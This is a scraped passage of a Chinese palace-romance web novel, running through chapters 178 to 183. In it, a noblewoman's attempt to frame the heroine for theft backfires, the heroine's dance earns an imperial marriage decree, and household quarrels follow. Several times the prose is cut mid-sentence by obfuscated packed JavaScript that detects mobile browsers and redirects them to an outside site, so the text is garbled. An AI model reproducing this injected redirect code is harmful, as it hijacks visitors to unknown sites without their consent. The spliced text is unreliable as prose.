据姜锦年描述,那块玉佩纹理十分特殊,是一朵祥云的形状,十分好认。 众人找了一圈,却什么都没找到。 那头,众嫔妃也察觉了异样,李贵妃便派人上前询问。 姜锦年哭哭啼啼地跪在众嫔妃面前,“娘娘,臣女的家传玉佩不见了,今日这样的大日子,爹娘才让臣女把它带出来的,若是被臣女弄丢了,臣女回去怎么跟爹娘交代啊?” 李贵妃眉头微蹙,“你们方才可都找清楚了?” 李云裳忙道:“姑母,我们方才都找了一遍,的确没有找到。” 顿了顿,她迟疑地道,“该不会是被哪个手脚不干净的人偷了吧。” 这话立马得到了姜锦年的认同,“定是如此!请诸位娘娘替臣女做主!” 李贵妃脸色立马沉了下去,“哪个混账敢做出这样的事,真是吃了熊心豹子胆了。你方才都去了何处,与什么人有交集?” 姜锦年认真思考和回忆,“就在一刻钟前,我的玉佩还在,直到方才……” 她想到了什么,又顿了顿,旋即伸手指向陆知苒,“方才臣女经过平乐县主身上,与她擦身而过的时候,察觉到了些许异常,只是当时臣女并未放在心上,现在看来,只怕臣女的玉佩就是那时候丢的!” 众人闻言,皆是诧异地看向陆知苒。 柔妃也看着陆知苒,眼神意味不明。 邢初雪有些着急,要开口,被陆知苒拦住了。 她迎着姜锦年的目光,语气淡淡,“姜小姐,凡事都要讲证据,你嘴巴两张皮,翻进又翻出,就想往我头上泼脏水,这未免太过霸道了些。” 第179章 她帮了自己 姜锦年却是一副笃定至极的模样,“我可以肯定,定是你偷了我的玉佩,不然,你就让我搜一搜!” 邢初雪再也忍不住,直接开炮了。 “谁不知道你方才在县主手底下吃了亏,现在就是存心报复,故意往她的身上泼脏水!” 邢初樱想拦都拦不住,眼底闪过一抹厌烦。 这个妹妹,平日里总是口无遮拦地惹事也就罢了,现在是在宫里,在贵人面前也依旧死性不改,迟早有一日自己要被她带累。 姜锦年反唇相讥,“我没有往任何人身上泼脏水,我说的是事实。要验证我的话,只需要搜一搜她的身便是了!” “你一张嘴就要搜身,好大的脸!” 李贵妃怒喝,“好了,这里是皇宫,不是你们耍嘴皮子的地方。” 二人立马闭嘴,不敢造次。 李贵妃看向陆知苒,“平乐县主,此事既因你而起,你便配合一番,让人搜一搜身吧。若你清白,自然无人能冤枉你。” 这话带着十分强的偏向性,姜锦年立马得意地看向陆知苒。 有贵妃发话,看她还有什么话可说! 叶寒衣不知何时站在了柔妃身后,身姿挺拔,似一个护花使者。 柔妃曼声开口,“且慢。贵妃姐姐,你这番处置,怕是不大公道吧。” “如何不公道?她身上有嫌疑,本宫便命人查证此事,还她清白,不是最公道的处理吗?” 柔妃反唇相讥,“照你这意思,我若说你偷了我的东西,是不是也可以搜你的身?” 李贵妃面容微僵,“柔妃,你不要强词夺理。” 柔妃一边摆弄自己的手指,施施然地开口,“我这是合理套用,不然凭什么这位姜小姐说是人家偷的,就要搜人家身?她的话是圣旨不成?” 这话让姜锦年瞬间汗流浃背。 她怎敢与圣旨相比?这顶帽子扣得实在太大了。 “更何况,平乐县主富可敌国,犯得着偷她那劳什子破玉佩?” 这话让不少人心中都生出认同。 别说是平乐县主,便是她们,也不会眼皮子浅到偷东西,还是在宫里这样的地方。 李贵妃面色阴沉,陆知苒那小**果然早就和萧晏辞勾搭在了一处,不然柔妃也不会公然帮她说话。 越是如此,她就越不能看着他们双方成事。 “既如此,那便是搜一搜又何妨?那东西若不在她的身上,再怎么搜也不可能搜出来。” 柔妃冷哼一声,“就算要搜,也得先搜一搜这位姜小姐自己身上,谁知道是不是她自己贼喊捉贼。” 姜锦年立马表态,“臣女愿意配合搜查!” 陆知苒淡淡道:“既如此,臣女也愿意配合搜查,若从臣女身上搜出东西来,臣女甘愿受罚。只是,若臣女身上若没有那玉佩,又当如何?” 李贵妃睨了她一眼,语气轻描淡写,“若没有,此事便是一场误会,姜小姐向你道个歉便是。” 柔妃直接笑出了声,“诬陷旁人,就只需要一句轻飘飘的道歉?这未免也太便宜了些,那以后我没事也诬陷人玩儿,反正只需要动动嘴皮子道歉就行了。” 李贵妃:…… “妹妹有何高见?” 柔妃理所当然地道:“自然是把她剔除候选之列,如此品行败坏之人,如何堪配皇家媳之位?” 李贵妃眸底闪过一抹冷意,“若平乐县主当真做了不该做之事,便也当同等处理。到时,希望妹妹不要偏袒才是。” “那是自然,我又不是那些不讲道理的人。” 两大后妃针锋相对,一众贵女都噤若寒蝉。 不知为何,姜锦年心头也莫名生出一股不安来。 不,不会的,她明明已经…… 她的这个念头还没落,搜身的宫人就摸到了什么,然后,从她的荷包中搜出了一块玉佩。 那玉佩的纹理,赫然是祥云的形状! 邢初雪立马嚷嚷出声,“玉佩就在她自己的身上,她果然是栽赃陷害!” 姜锦年瞪大了眼睛,满是不可置信。 李贵妃唇角那抹看好戏的笑也瞬间凝固,僵在脸上,长长的护甲掐进肉里,险些掐出血来。 怎会如此!这个蠢货是如何办事的?连陷害人都不会? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162035|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >陆知苒的眸底闪过一抹异色。 方才,姜锦年故意与她错身,她便察觉到自己袖子被扯了一下。 她还尚未来得及探查是怎么回事,叶寒衣就突然朝自己走来,还撞了自己一下,大家都以为她是故意挑衅自己。 只有陆知苒听到了她飞快耳语的一句话。 “有人往你身上塞了东西。” 她借着撞自己的瞬间,飞快地把那脏物顺走了。 陆知苒与邢初雪说话时,余光一直留意着叶寒衣的方向,发现她在姜锦年的身旁溜达了一圈。 最后,她还朝自己露出狡黠一笑。 当时她就明白了是怎么一回事。 她帮了自己。 若没有她出手,陆知苒最多只会察觉姜锦年的栽赃,再把脏物扔了,绝不可能有那等身手,把脏物原封不动地送回到姜锦年的身上。 而今,姜锦年遭遇的一切,都是咎由自取。 她看向叶寒衣,露出一抹真心实意的感激。 陆知苒非常珍惜对自己心怀善意之人,旁人的每一分善意,她都愿意以十倍偿还。 这个恩情,她记下了。 柔妃看向李贵妃,“贵妃姐姐,你可亲眼瞧见了,这可不是我污蔑她,是她真的心怀鬼胎,蓄意污蔑旁人。” 姜锦年终于找回了自己的声音,惊慌失措地开口。 “贵妃娘娘,柔妃娘娘,臣女没有,臣女,臣女也不知道是怎么一回事啊!方才臣女的玉佩是真的不见了啊!” 她方才明明把玉佩悄悄放到了陆知苒的身上,怎么又回到了自己荷包里? 定是陆知苒发现了自己的计划,所以又悄悄地把玉佩放了回来。 可是她怎么做到的,自己为什么完全没有发现? 姜锦年脑子乱成一团浆糊,完全失去了思考能力,她只能不停地求饶。 但这一回,无人再站在她这一边。 李贵妃几乎是咬牙切齿地看着她,“住嘴!胆敢戏耍本宫,简直罪该万死!来人,把她给本宫拖出去!” 若非今日是选妃的日子,不宜见血,她定要命人狠狠打这**一顿板子。 第180章 惊鸿一舞 姜锦年面如死灰,“娘娘,贵妃娘娘,求您饶命啊,臣女真的不是故意的,求娘娘给臣女一次机会吧!” 她的嘴被宫人堵上,求饶声也慢慢远去,只余含糊不清的呜呜。 众贵女噤若寒蝉。 大家都从中嗅到了阴谋的味道。 事情真相究竟如何,无人可以窥探,但有一点却成了众人的共识:不要招惹平乐县主,不然,下场会很惨! “吵吵嚷嚷的,这是做什么?” 孙皇后在宫人的簇拥下姗姗而来。 因身体之故,一般的宫宴她都不参加,但皇子选妃乃大事,身为后宫之主,她不得不露面。 眼下天气已然回暖许多,大家都衣裳轻薄,孙皇后却依旧穿着繁复厚重的宫装,脸上也笼着一层苍白。 众人立马行礼,孙皇后在主位坐下,带着一股不怒自威的气势。 “李贵妃,老远就听到你在喊打喊杀,这又是发生了何事?” 李贵妃的脸色尚未缓过来,依旧十分难看,一时没说话。 柔妃可不会替她遮掩,口齿伶俐地把方才发生之事道来。 “得亏我提了一嘴,先搜那告状之人,不然岂不冤枉了平乐县主,平白叫她受了委屈?” 陆知苒也十分识趣,立马躬身道谢,“臣女多谢柔妃娘娘主持公道。” 孙皇后淡淡看向李贵妃,“李贵妃,你行事越来越不像话了。” 一句话,让李贵妃的面皮愈加发紧。 她素来不把孙皇后这个病秧子放在眼里,但今日却被她当众斥责,简直丢尽颜面! 而这一切,都是姜锦年那蠢货干的好事! 当初,赵书宁向她举荐姜锦年时说得信誓旦旦,她还以为这是个机灵能成事的,却不想,她压根就是个蠢货! “此事是臣妾做得不妥!” 见她吃瘪的样子,柔妃心里好一阵憋笑。 孙皇后也没有再揪着不放,正事要紧。 她看向众小姐,语气变得温和。 “今日只是寻常的选拔,大家只做随意,不必拘谨。” 然而众人不敢有丝毫懈怠,依旧保持着端庄的姿态,只是目光中多了几分热切与期盼。 “诸位小姐都是多才多艺的大家闺秀,今日便让本宫开开眼。” 众人闻言,立马躁动起来。 很快就有大胆的小姐毛遂自荐,上前表演。 有人抚琴,琴声悠扬;有的挥毫,笔墨如飞;有的作画,一气呵成。莺莺燕燕,各展所长,花园中一时热闹非凡。 李云裳跳了一支舞,腰肢柔软,舞姿翩跹,裙摆飞扬,自有一股别样风姿,在一众闺秀中,她的表演最为出众。 她一舞毕,立马引起众人惊叹,李云裳面上一派谦逊,李贵妃的脸上则满是与有荣焉的骄傲。 她这侄女,是自己看着长大的,琴棋书画无所不通,无所不精,是她最满意的正妃人选。 偏生被卢诗音横插了一脚,占了那正妃之位。 不过没关系,那只是暂时的。 日后,多的是法子让卢诗音把正妃之位让出来。 孙皇后称赞了一番,李贵妃目光一转,将话题引到了陆知苒的身上。 “平乐县主美名在外,但皆是赞你经商天赋了得,行事有格局有大义,只不知,你在琴棋书画上是否也如此亮眼?今日可要让大家开开眼了。” 这话虽是在抬举陆知苒,但也是变相地把人架了起来。 陆知苒起身出列,欠身行礼,“臣女也编了一支舞,还请皇后和诸位娘娘品鉴。” 李贵妃似笑非笑,李云裳面上神色如常,心中却带着几分傲然。 她自幼学舞,身段才如此柔美,陆知苒特意选在自己之后表演舞蹈,只会沦为陪衬。 邢初雪自告奋勇,“县主,我为你伴奏。” 陆知苒含笑点头。 邢初雪弹奏的是箜篌,指尖轻轻一拨,第一个音符如清泉般流淌而出,陆知苒便伴着婉转音符缓缓起舞。 她的舞姿与李云裳截然不同。 李云裳的舞姿是娇弱的,而她却柔中带韧,裙裾飞旋,如流风回雪,似蕊宫仙子,一时华彩遍生,灼眼招展。 她的舞步越来越快,琴声也变得激昂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162036|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而富有张力,如波涛汹涌,震撼人心。 就在这时,叶寒衣手持长剑,加入了她们。 众人皆愣,陆知苒的舞姿却半分不乱,腾挪飞舞,旋转如风,与叶寒衣刚劲有力的剑舞互相应和。 明明是一把木剑,却仿佛能划破空气,带着一种凌厉的美感,满树的花朵被剑风裹挟,飘然落下,在她们周身盘旋飞绕,煞是好看,令所有人无法移开目光。 邢初雪的指尖也越来越快,箜篌的琴音时而急促如雨,时而低沉如雷,仿佛千军万马在暗中涌动,杀机四伏,与二人的舞蹈完美契合。 这一刻,三人的表演达到了完美的融合。 一曲罢,所有人都愣怔着,半晌没能回过神来。 李贵妃和李云裳的脸色都十分难看,方才的那股优越感荡然无存。 这时,一道爽朗的笑声传来,“好好好,甚好,甚好!” 众人循声看去,立马变了脸色,纷纷行礼。 “臣妾/臣女参见皇上。” 德丰帝满脸笑意地缓步而来,而他的身后,赫然跟着三位皇子。 大家都见过六皇子萧晏清和七皇子萧晏辞,唯有五皇子萧晏珩,大多数人都是第一次见。 他肤色白皙,唇色很淡,身形颀长,却略显单薄,整个人透着股病态的娇弱,也漂亮得不像话。 不少贵女见了,都不自觉红了脸。 素来听说五皇子体弱多病,却不知道他竟生得这般好看。 萧晏辞看着陆知苒,眼底一片骄傲,还有一股潜藏的炽热。 萧晏清眸底深藏着一股深深的不甘与愤恨。 母妃不是说会在今日会让陆知苒身败名裂吗?为何她还好端端的,半点事都没有?非但如此,还大出了风头! “正所谓来得早不如来得巧,朕来得是刚刚好,正巧看了一场精彩的表演啊。” 他看向陆知苒三人,“你们事先彩排过?” 三人摇头,“不曾。” 柔妃笑道:“皇上,寒衣前两日才刚赶到京城,京中的贵女她一个都还不认识呢,上哪儿找时间彩排?” 第181章 皇上指婚 叶寒衣也恭敬答话,“回皇上,臣女方才瞧着平乐县主的舞姿飒爽,一时心痒,这才贸然加入,共舞一曲。” 德丰帝捋须笑道:“临时起意,还能配合得如此默契,实在难得,朕也算是大开眼界了。” 这番夸赞让不知多少人心生羡慕嫉妒。 孙皇后也笑道:“不仅是她们三人,其余闺秀亦是才艺不凡,妾身都看花眼了,也实在不知该如何挑选才好。” 德丰帝看向萧晏辞三人,“今日是替你们三人选妃,你们可有心仪的人选?” 萧晏珩低眉敛目,恭敬开口,“儿臣但凭父皇母后做主。” 萧晏清也同样如此回答。 到了萧晏辞这儿,他却不按常理出牌,直接道:“平乐县主德才兼备,品貌双全,儿臣心生倾慕,愿以诚心相聘,求父皇母后成全。” 此言一出,萧晏清不可置信地看向他。 他竟打直球,半点弯都不拐? 陆知苒也微微愣怔,没想到他会如此直接。 众贵女齐齐看着陆知苒,眼神各异。 看来,此前有关瑾王与平乐县主的传言果然不假。 只是不知,叶寒衣听了之后,心里会作何感想。 李云裳也立马看向叶寒衣,想要看到她露出伤心的神色,但对方只有满脸平静淡然,丝毫看不出难过的模样。 反倒是柔妃,美目圆睁,似不敢相信自己听到的话。 德丰帝一时没说话,喜怒不定。 孙皇后看了看萧晏辞,又看了看陆知苒,笑道:“小七与平乐县主郎才女貌,倒的确般配。” 德丰帝捋着胡须,似在斟酌。 李贵妃终于按捺不住开了口,“平乐县主的确才貌过人,只是,这婚事也得问问柔妃的意思才是。” 她方才可瞧得清楚,柔妃明显很意外,眼里也没有多少喜色。 陆知苒再好,那也是二嫁之身,任何一个母亲,都不可能希望自己儿子娶这样一个人,柔妃这般骄纵挑剔,就更不可能不嫌弃。 加上还有叶寒衣这么一个侄女在,柔妃岂会答应? 依她无脑的性格,岂会有不当场闹开的道理? 只要柔妃反对,萧晏辞再怎么求皇上都没用。 德丰帝也看向柔妃,“柔妃,你觉得如何?” “皇上做主便是。” “朕既然问你的意思,你便直言。” 柔妃开口,说的话却是完全出乎意料,“平乐县主千好万好,哪哪儿都好,能聘她为正妃,臣妾自然没有什么好反对的。” 李贵妃面上神色骤然崩盘。 她怎会这么轻易同意了? 她难道甘心让自己侄女屈居人下? 李贵妃忍不住开口,“平乐县主固然很好,但如此岂不委屈了叶小姐?她与小七乃表兄妹,二人亲上加亲,也不失为一段佳话。” 柔妃语气悠悠,不急不缓,“寒衣是乡野之地长大的孩子,没规没矩惯了,这宫里的生活不适合她。她此次入京,主要是来看看我罢了。” 她一个人被困在这宫里,已经足够了,叶家不需要其他女儿也往这个牢笼里送。 众人都懵了,她竟完全没想过让叶寒衣进七皇子府? 再看叶寒衣那副淡然的神色,大家也总算明白了,这位也压根没有那意思。 李云裳有种被戏耍了的感觉。 既然如此,方才她为何故意那般表现,还向自己打听那么多陆知苒的事? 德丰帝对柔妃的表态很满意,直接拍板了,“平乐县主性情高雅,行事沉稳,与小七倒是正好互补,此事,朕准了。” 萧晏辞闻言,立马麻溜地叩首谢恩。 “儿臣多谢父皇成全。” 陆知苒也跪下谢恩。 萧晏清傻眼了,这也行?? 早知如此,方才他就应该抢先一步求娶陆知苒! 哪怕她与自己不是一条心,也要先把人抢到手再说。 可是,现在说什么也已经晚了。 父皇金口玉言,此事已成定局。 李贵妃也悔啊,早知如此,她就不该采纳赵书宁的意思,让姜锦年来办这件事。 若依照自己的计划,陆知苒定然早就身败名裂了,如何会有后面这些糟心事? 邢初雪真心为她高兴,脸上满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162037|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是笑意。 另一头的邢初樱,眸底却多了一抹晦暗。 没人知道,她是冲着七皇子正妃的位置而来。 凭她的家世与才学,完全担得起瑾王妃之位。 谁能料到,陆知苒凭那一舞,入了皇上的眼,还入了瑾王的眼。 邢初雪正傻乐呢,德丰帝的目光便落在她的身上,“你是哪家的姑娘?” 邢初雪微愣,反应过来之后慌忙行礼,“臣女乃刑部尚书嫡次女邢初雪。” 德丰帝点了点头,“邢爱卿教女有方。皇后,朕觉得,她与小五倒是般配,你觉得如何?” 孙皇后看了看二人,笑着点了点头,“的确般配。” “那便指为小五的正妃吧。” 萧晏珩躬身上前,叩首谢恩。 邢初雪呆呆愣愣的,慢半拍才磕磕绊绊地开口,“臣,臣女,多谢皇上恩典。” 她整个人都有种不真实的感觉,她只是来凑数的,怎,怎么就稀里糊涂地被指婚了?而且还成了正妃。 她偷偷转头,瞟了身旁男人一眼,看到他那完美的侧颜,邢初雪忍不住咽了口唾沫。 好好看啊。 这么好看的男人要成自己夫君了?她可真是踩了狗屎运了。 “其余人的才艺朕也没瞧见,便不乱点鸳鸯谱了。皇后,后续之事便交给你吧。” 孙皇后恭敬应是。 德丰帝又道:“前几日悟尘大师给小七算了一卦,他命格特殊,今年便只给他娶个正妃,侧妃和侍妾,容后再选。” 众人错愕。 萧晏辞也露出一副意外的神色,似第一次听说这事。 柔妃闻言,顿时不淡定了,“皇上,悟尘大师的卦准不准啊?” 身为母亲,自然想让自己儿子多娶几个,多生几个孩子。 德丰帝沉了脸,“柔妃,悟尘大师岂容你随意质疑?” 柔妃年纪小,德丰帝很少对她说重话,她也意识到自己说错了话,赶忙请罪。 德丰帝缓了语气,“朕知道你为母之心,但朕也是小七的父皇,不会害了他。” 又安抚几句,德丰帝便离开了。 第182章 穷得理直气壮 李贵妃根本没有心思管萧晏辞选不选侧妃,她这会儿心里简直怄**! 那两人的正妃都是皇上亲口指的,只有晏清的正妃,来得半点都不光彩,这传出去像话吗! 萧晏清心中也怄得半死,面上却不敢显露分毫。 之后的选妃便由孙皇后主持。 萧晏清的侧妃自然是李云裳莫属。 侧妃的位置固然委屈了她,但只要先进了六皇子府,之后再慢慢筹谋便是。 侍妾的人选也是由李贵妃自己拍板。 萧晏珩生母早逝,养母惠嫔也是个没主见的,便由孙皇后决定。 一场选妃很快结束,有人欢喜有人愁。 邢初樱落选了。 她满心失落与愤恨,为什么?为什么自己会落选? 反倒是她那妹妹,竟成了五皇子妃。 邢初樱心底生出怨怼。 以往在家中,妹妹总说自己不想进皇子府,今日只是来凑数的,既如此,方才又为何强出风头,主动给陆知苒伴奏? 只怕她心里早就有了谋算,只有自己傻乎乎地信了她的话,成为了一场笑话。 这个妹妹,与自己早就不是一条心的了。 后宫之中,亦是有人欢喜有人愁。 毓秀宫,李贵妃和萧晏清母子暮气沉沉。 夕颜殿,则是另外一番光景。 萧晏辞笑着对柔妃道:“方才多谢母妃。” 柔妃冷哼一声,“我既答应了你,自然就不会反悔。” 萧晏辞一开始就没有隐瞒自己想娶陆知苒之事。 柔妃起初也反对,但架不住萧晏辞舌灿莲花,百般游说。 他说:“儿臣天生破财,她却富可敌国,不仅有钱,还会赚钱,儿臣娶了她,不用担心没钱花。” 这话让柔妃哭笑不得。 最终她还是松动了,自己的儿子自己知道,能让他插科打诨地说这么多,就足以说明他对陆知苒是真正上了心的。 难得有一个人能让他如此费心费力。 她的人生已经留下了不可挽回的遗憾,只盼她的儿子能得偿所愿。 而今他如愿了,整个人都神采飞扬起来,那副德性,简直叫人没眼看。 柔妃想到了什么,立马沉下了脸。 “那老秃……悟尘大师的批卦,是不是你搞的鬼?” 她可以答应他娶陆知苒,但却接受不了他只娶陆知苒一人。 萧晏辞一脸无辜,“母妃,您这可就冤枉儿臣了,那老秃驴是什么性情,岂会听儿臣的话?” 柔妃怀疑地看他,“你当真不知?” 萧晏辞笃定摇头,“不知,儿臣也是方才才知道。” 柔妃不禁喃喃,“难道,你的命格当真如此特殊?连多娶几个侧妃都犯冲?” 萧晏辞叹息,“或许还是与我天生破财有关,女人娶多了,养不起啊。我总不能拿王妃的银子去养别的女人吧?” 柔妃一听,这的确有点无耻,顿时没话了。 “母妃,那老秃驴还是有几分真本事的,他既然这么说了,自然不可能有假。若是明知不可为而为之,损及儿臣性命怎么办?” 柔妃没好气地拍了他一下,“不娶就不娶,不许瞎说。” 见他们说完了话,一旁的叶寒衣才开口,“表兄,今日我帮了平乐县主一回,你要怎么谢谢我?” 萧晏辞轻嗤,“她的那支舞本身就跳得好,与你有什么相干?你莫要往自己脸上贴金。” 他的口气随意,与叶寒衣显然十分不见外。 叶家虽远在滇南,但每年外祖和舅舅都会往京城送东西,萧晏辞也去过几回,与叶寒衣自是认识的。 柔妃开口,“寒衣说的不是这件事,有人想陷害平乐县主偷东西,寒衣帮了大忙,不然,你可没机会求娶了。” 萧晏辞的面色当即沉了下去。 “怎么回事?” 叶寒衣便将事情始末道出,萧晏辞周身立马笼上一层森然冷意。 “那些阿猫阿狗可真是半点都不消停。” 叶寒衣又道:“那位李小姐也一直暗中怂恿我,想让我去找平乐县主的麻烦。真奇怪,她们好像都觉得我会喜欢你,怎么可能嘛,我又不瞎。” 萧晏辞:? “你要不要照一照镜子?” 叶寒衣一脸自信,“我不用照镜子,我爹说了,我是全天下最好看的女子。” 萧晏辞一脸无语,这种骗人的鬼话也能信?服了。 “表兄,你还没说要怎么感谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162038|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我呢。” “你想要什么?” 叶寒衣还没来得及开口,萧晏辞就摊摊手,“你随便说,反正我没有。你知道的,我是个穷鬼。” 叶寒衣:…… 竟然有人能穷得那么理直气壮,真是佩服。 柔妃在旁边拆台,“寒衣,你想要什么跟姑姑说,他的好东西都在我这儿保管着,我拿给你。” 萧晏辞:…… 叶寒衣立马开心了,“姑母,我想要一把削铁如泥的宝剑!” 萧晏辞笑了,“不好意思,这我真没有。” 柔妃立马安慰,“没关系,我用他的银子去给你打一把。” 叶寒衣用力点头,“好!” “母妃,到底谁才是亲生的啊。” 柔妃拉着叶寒衣,“你个臭小子,怎么能跟寒衣比?” 柔妃已经整整二十年没有回过滇南了,她对那里的一切都疯狂地想念。 这是她第一次见到叶寒衣,却对她分外亲切。 她身上,带着滇南特有的味道,也让她看到了大哥的影子。 叶寒衣一直住在夕颜殿,柔妃日日拉着她说话,细细地询问着滇南的一切,怎么都说不够。 萧晏辞看得出这一点,心里也十分感激叶寒衣。 母子二人又说了一会儿话,他便走了。 叶寒衣贴心地继续与柔妃说着滇南的大事小情。 她不是细腻的人,也能从柔妃的眼神里读出怅然与思念。 她不知该如何安慰,就只能轻轻握住柔妃的手。 柔妃眨了眨眼,把眼底的那抹湿润压了下去。 “我没事,知道爹娘和大哥大嫂都好,我就放心了。今日你也累了,快回去休息吧。” 叶寒衣没有多说什么,躬身告退了。 柔妃翻出了自己压箱底的嫁妆,都是一些零零散散的小物件,不值钱,但却是她最珍贵的回忆。 父亲与德丰帝乃旧交,对德丰帝亦有从龙之功。 但狡兔死,走狗烹,此乃不可避免的结局。 为了保全滇南王府,也为了让德丰帝安心,父亲不得已将她送入宫。 当初,即便她千百般不愿意,也明白自己肩上的使命。 为了家族,她必须做出牺牲。 第183章 成事不足败事有余 这么多年了,她以为自己早就习惯了,但今日她才知,自己不是习惯了,而是将那份思念深藏在了心底。 一听到故乡的消息,那份思念就再也压不住了。 心腹锦瑟是与她一同从滇南进京的,看着那些东西,她的眼底也多了几分湿意。 “日后,殿下若是坐上那个位置,娘娘就能回去看看了。” 这话万不该说,但她实在忍不住,想要给娘娘一个念想。 柔妃眸底多了一丝幽光。 以往因阿辞的命格,她从不敢动那心思,而今想想,他们就算什么都不做,也早已是局中人,如何避得开? 既然已经开战,那就必须得赢。 一件件地翻看着旧物,一件东西掉落在地,是一面铜镜。 那铜镜摔在地上,瞬间现出裂痕来。 柔妃心头一紧,赶忙伸手去捡。 看着上面清晰的裂痕,她的心口微滞。 这不是一面普通的镜子,是故人所赠的礼物。 锦瑟的脸色也变了,“都是奴婢的错,没有把它收好,奴婢这便请匠人来修。” “不必了,修不好的。” 破镜难重圆。 早在入宫之时,她就该把这面镜子扔了。 她把镜子放下,再没了翻看旧物的兴致,“把它,扔了吧。” 这或许是上苍的暗示,她该彻底与过往做个了断了。 …… 陆映溪一直在等着姜锦年,想要听到她带回好消息。 这件事有李贵妃保驾护航,定然不会出岔子。 然而,她等来的却是哭哭啼啼的姜锦年,和她毫不客气的一记耳光。 陆映溪直接被打蒙了。 “都怪你!都是你给我出的馊主意,害惨了我!” 陆映溪脸上火辣辣的,心中怒火飙升,但她还是忍下了。 “怎么回事?你把话说清楚!” 难道事情又没成? “我听了你的怂恿,嫁祸陆知苒偷东西,可事情却是败露了,陆知苒完好无损,我却是被当众赶了出来!我的脸都丢尽了,以后我还怎么在大家面前抬起头来?” 她刻意隐去了细节,把自己的过错模糊化,责任全都推到了陆映溪的身上。 陆映溪听到了最不愿听到的结果,脸色变得十分难看。 “你怎么那么不小心?连这点小事都办不好!” 真是成事不足败事有余! 姜锦年火大,“你还反过来怪我?若不是你怂恿我,我能遭遇这些吗?” 陆映溪冷笑,“我只是提议,是你自己答应的,与我何干?” 分明她自己也想要看到陆知苒倒霉,这才答应了这件事,事情没办成,那也是她无能,与自己何干? 姜锦年实在气不过,直接伸手,狠狠推了陆映溪一把。 “你这个**,就是你害的我!” 陆映溪朝后趔趄,幸而金桔伸手扶了一把,她才没有摔倒。 但陆映溪还是被吓了一跳,捂着发紧的肚子,脸色惨白。 大家顿时乱作一团,赶忙去请大夫。 姜锦年也被吓住了。 府医和董氏同时赶到,府医急忙给她诊脉,好在胎儿并无大碍,只是不能再大喜大怒,情绪过激。 董氏一脸责备地看着陆映溪,“你怎么总是那么不小心?不要忘了你是双身子的人。” 陆映溪指着姜锦年,“是她推了我!” 姜锦年语气磕绊,“我,我只是轻轻推了一下,你,你休想赖到我身上!” 董氏这时才注意到姜锦年,“锦儿你不是入宫参选了吗?怎的那么快回来了?” 姜锦年瞬间破防,大声哭诉,“娘亲,我完了,我被从宫里赶出来了……都是陆映溪,是她害惨了我!” 姜锦年又哭哭啼啼地告了一番状。 董氏气得心口疼,狠狠剜了陆映溪一眼,“你敢怂恿她干这样的事,你好大的胆子!” 陆映溪冷冷道:“这个主意是赵书宁出的,你们要算账,就去找她吧!” “赵书宁是你什么人,你联合她来一起坑害锦儿?我们姜家娶了你,真是家门不幸!” 陆映溪冷笑一声,“那就把我休了吧,我把这孩子打了,日后照样能再找一户好人家嫁了,也省得日日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162039|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在你们姜家受气。” 她拿捏了对方的命门,董氏被狠狠一噎。 姜锦年心直口快,“谁知道是不是我们姜家的种。” 陆映溪再次气得胸口起伏,“好,既然如此,我也没有什么好继续留下的必要,金桔,去收拾嫁妆,我现在就回娘家!” 董氏眼底闪过一抹慌乱,连忙把人拦下,又伏低做小地说软话。 “锦儿年纪小不懂事,你身为长嫂,与她计较做什么?锦儿,还不快给你嫂嫂道歉!” 姜锦年不可置信地指着自己,“让我给她道歉?想都别想!” 说完她一转身,气愤地跑了。 